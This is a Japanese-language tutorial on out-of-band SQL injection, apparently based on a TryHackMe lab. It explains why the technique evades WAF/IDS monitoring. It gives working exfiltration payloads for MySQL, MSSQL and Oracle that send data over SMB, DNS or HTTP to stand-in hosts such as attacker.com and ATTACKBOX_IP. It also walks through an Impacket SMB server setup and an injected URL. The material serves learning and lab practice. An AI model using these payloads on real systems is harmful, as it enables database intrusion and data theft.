はじめに
— DNS / HTTP / SMB を使う“別チャネル型”データ漏洩テクニック —
SQL Injection の世界には、アプリ側のレスポンスに依存せず、
DNS・HTTP・SMB などの“別経路”を使ってデータを外部に送り出す攻撃手法があります。
それが Out-of-band(OOB)SQL Injection です。
In-band SQLi(UNION, Error-based, Blind-based)では
“同じ HTTP レスポンス内で結果を回収する” のに対し、
OOB は 「攻撃 → 回収」が別経路になる のが最大の特徴です。
1. Out-of-band SQL Injection とは?
Out-of-band(OOB)SQL Injection は、
データベースに仕込んだ SQL が 外部ネットワーク(DNS / HTTP / SMB)へ接続し、
その通信の中にデータを埋め込むことで情報漏洩を行う攻撃手法です。
OOB の本質
- レスポンスが返ってこなくても情報が漏れる
- WAF / IDS が監視していない別経路を使う
- Blind より高速・安定するケースが多い
- Firewall 内側にいる DB が外部に出る経路を利用
2. OOB SQLi のフロー(図解)
高レベルフロー図
SMB Exfiltration のシーケンス例
3. なぜ OOB を使うべきなのか?
① レスポンスがサニタイズされている
エラーメッセージ無し、UNION 無効、結果が返らないケースでも漏洩可能。
② WAF / IDS の監視外を攻められる
多くの WAF は "SQL result" を監視するが、
DNS / SMB / HTTP の外出通信までは監視していないことが多い。
③ Blind SQLi より速くて安定
Time-based で 1bit ずつ送るより、
DNS ラベルや SMB ファイルで一発 exfil の方が圧倒的に速い。
④ DB が DMZ 内で外部通信できるケースが多い
実務では DB → DNS は許可されているケースが非常に多い。
4. OOB で使われる代表的な外部チャネル
HTTP Requests(UDF or Oracle)
MySQL は標準では HTTP が使えないが、UDF を使えば可能:
SELECT http_post('http://attacker.com/exfil', sensitive_data);
DNS Exfiltration
DNS クエリのホスト名にデータを埋め込んで送信する方法。
MySQL はネイティブ対応がないため UDF / OS-level script が必要。
DNS Exfiltration のフロー(例:Oracle/MSSQL)
SMB Exfiltration(Windows / Linux SMB サーバ)
最も簡単で現実的な OOB。
SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
Windows:原生サポート
Linux:smbclient / mount を使えば可能
5. 技術例:各 DB の OOB テクニック
MySQL / MariaDB
代表的な OOB メソッド
- SELECT … INTO OUTFILE
- LOAD_FILE()
- UDF(User Defined Function)で HTTP / DNS を実装
- SMB パスによる Windows UNC パスアクセス
例:OUTFILE を使った出血
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';
SMB 経由(Windows)
SELECT sensitive_data INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt';
secure_file_priv に注意
| 値 | 挙動 |
|---|---|
| パス指定 | そのディレクトリのみ書き込み可能 |
| 空("") | 制限なし(最も危険) |
| NULL | OUTFILE 禁止 |
MSSQL(xp_cmdshell / UNC / DNS)
MSSQL は OOB の宝庫。
UNC exfil(自動DNS発火)
EXEC xp_dirtree '\\attacker.com\share';
XP コマンドでデータ exfiltration
EXEC xp_cmdshell 'bcp "SELECT password FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';
OPENROWSET と SMB
UNC パスを読み書き可能:
SELECT * FROM OPENROWSET(BULK '\\\\ATTACKBOX_IP\\logs\\payload.txt', SINGLE_CLOB) AS x;
Oracle(UTL_HTTP / UTL_INADDR)
OOB 機能としては頂点クラス。
HTTP exfiltration
DECLARE
req UTL_HTTP.REQ;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfil?s=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;
DNS exfiltration
SELECT UTL_INADDR.get_host_address(sensitive_data || '.attacker.com');
6. Practical Example:SMB を使った OOB Exfiltration
TryHackMe や OSCP でよく出る実戦形式の例。
目的
脆弱な search_visitor.php に SQLi を投げ、
DB バージョン情報を AttackBox の SMB サーバへ書き出す。
Step 1: SMB サーバを起動(AttackBox)
Impacket で SMB 共有を作る:
cd /opt/impacket/examples
python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp
SMB クライアントからアクセス確認:
smbclient //ATTACKBOX_IP/logs -U guest -N
ls
Step 2: 脆弱アプリへアクセス
http://MACHINE_IP/oob/search_visitor.php?visitor_name=Tim
正常レスポンスが返るのを確認。
Step 3: OOB ペイロードを注入
攻撃用パラメータ:
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
これにより:
-
1'が既存 SQL を閉じる -
;で文を分離 -
SELECT @@version ... OUTFILEが発火 - SMB 経由で AttackBox の
/tmp/out.txtに書き込まれる -
--で残りをコメントアウト
URL 例:
http://MACHINE_IP/oob/search_visitor.php?visitor_name=1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
Step 4: 攻撃成功の確認
AttackBox にて:
ls /tmp
期待される出力:
out.txt
more /tmp/out.txt で DB の version 情報が漏出している。
まとめ
- OOB SQL Injection は “レスポンス不要のデータ漏洩攻撃”
- WAF/IDS をバイパスできる強力な手法
- DNS / HTTP / SMB など複数チャネルが利用可能
- MySQL / MSSQL / Oracle で 利用できる機能が全く異なる
- 実戦では SMB / UNC / UTL_HTTP が特に有効
- Blind SQLi より高速で確実なケースが多い